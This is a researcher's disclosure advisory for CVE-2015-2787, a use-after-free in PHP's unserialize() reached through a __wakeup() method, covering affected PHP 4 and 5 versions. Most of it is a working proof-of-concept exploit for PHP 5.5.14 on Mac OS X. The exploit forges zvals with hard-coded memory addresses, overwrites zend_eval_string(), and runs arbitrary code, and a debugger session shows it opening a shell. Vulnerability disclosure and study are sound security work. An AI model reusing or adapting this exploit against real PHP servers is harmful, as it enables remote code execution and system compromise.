Use After Free Vulnerability in unserialize()

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#Use After Free Vulnerability in unserialize() [CVE-2015-2787]

Taoguang Chen <@chtg> - Write Date: 2015.2.3 - Release Date: 2015.3.20

A use-after-free vulnerability was discovered in unserialize() with a specially defined object's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code.

Affected Versions

Affected is PHP 5.6 < 5.6.7
Affected is PHP 5.5 < 5.5.23
Affected is PHP 5.4 < 5.4.39
Affected is PHP 5 <= 5.3.29
Affected is PHP 4 <= 4.4.9

Credits

This vulnerability was disclosed by Taoguang Chen.

Description

static inline int object_common2(UNSERIALIZE_PARAMETER, zend_long elements)
{
	zval retval;
	zval fname;

	if (Z_TYPE_P(rval) != IS_OBJECT) {
		return 0;
	}

	//??? TODO: resize before
	if (!process_nested_data(UNSERIALIZE_PASSTHRU, Z_OBJPROP_P(rval), elements, 1)) {
		return 0;
	}

	ZVAL_DEREF(rval);
	if (Z_OBJCE_P(rval) != PHP_IC_ENTRY &&
		zend_hash_str_exists(&Z_OBJCE_P(rval)->function_table, "__wakeup", sizeof("__wakeup")-1)) {
		ZVAL_STRINGL(&fname, "__wakeup", sizeof("__wakeup") - 1);
		BG(serialize_lock)++;
		call_user_function_ex(CG(function_table), rval, &fname, &retval, 0, 0, 1, NULL);

A specially defined __wakeup() magic method lead to various problems.

The simple code:

<?php
 
class evilClass {

	public $var;

	function __wakeup() {
		unset($this->var);
//		$this->var = 'ryat';
	}
}

$data = unserialize('a:2:{i:0;O:9:"evilClass":1:{s:3:"var";a:1:{i:0;i:1;}}i:1;R:4;}');

?>

Object properties assignment or destroy operation leads to the ZVAL and all its children is freed from memory. However the unserialize() code will still allow to use R: or r: to set references to that already freed memory. There is a use after free vulnerability, and allows to execute arbitrary code.

Proof of Concept Exploit

The PoC works on standard MacOSX 10.10.2 installation of PHP 5.5.14.

<?php

$f = $argv[1];
$c = $argv[2];

$fakezval1 = ptr2str(0x100b83008);
$fakezval1 .= ptr2str(0x8);
$fakezval1 .= "\x00\x00\x00\x00";
$fakezval1 .= "\x06";
$fakezval1 .= "\x00";
$fakezval1 .= "\x00\x00";

$data1 = 'a:3:{i:0;O:9:"evilClass":1:{s:3:"var";a:1:{i:0;i:1;}}i:1;s:'.strlen($fakezval1).':"'.$fakezval1.'";i:2;a:1:{i:0;R:4;}}';

$x = unserialize($data1);
$y = $x[2];

// zend_eval_string()'s address
$y[0][0] = "\x6d";
$y[0][1] = "\x1e";
$y[0][2] = "\x35";
$y[0][3] = "\x00";
$y[0][4] = "\x01";
$y[0][5] = "\x00";
$y[0][6] = "\x00";
$y[0][7] = "\x00";

$fakezval2 = ptr2str(0x3b296324286624); // $f($c);
$fakezval2 .= ptr2str(0x100b83000);
$fakezval2 .= "\xff\xff\xff\xff";
$fakezval2 .= "\x05";
$fakezval2 .= "\x00";
$fakezval2 .= "\x00\x00";

$data2 = 'a:3:{i:0;O:9:"evilClass":1:{s:3:"var";a:1:{i:0;i:1;}}i:1;s:'.strlen($fakezval2).':"'.$fakezval2.'";i:2;a:1:{i:0;R:4;}}}';

$z = unserialize($data2);
intval($z[2]);

function ptr2str($ptr)
{
	$out = "";
	for ($i=0; $i<8; $i++) {
		$out .= chr($ptr & 0xff);
		$ptr >>= 8;
	}
	return $out;
}

class evilClass {
	
	public $var;
	
	function __wakeup() {
		unset($this->var);
//		$this->var = 'ryat';
	}
}

?>

Test the PoC on the command line, then any PHP code can be executed:

$ lldb php
(lldb) target create "php"
Current executable set to 'php' (x86_64).
(lldb) run uafpoc.php assert "system\('sh'\)==exit\(\)"
Process 13472 launched: '/usr/bin/php' (x86_64)
sh: no job control in this shell
sh-3.2$ php -v
PHP 5.5.14 (cli) (built: Sep  9 2014 19:09:25) 
Copyright (c) 1997-2014 The PHP Group
Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies
sh-3.2$ exit
exit
Process 13472 exited with status = 0 (0x00000000) 
(lldb)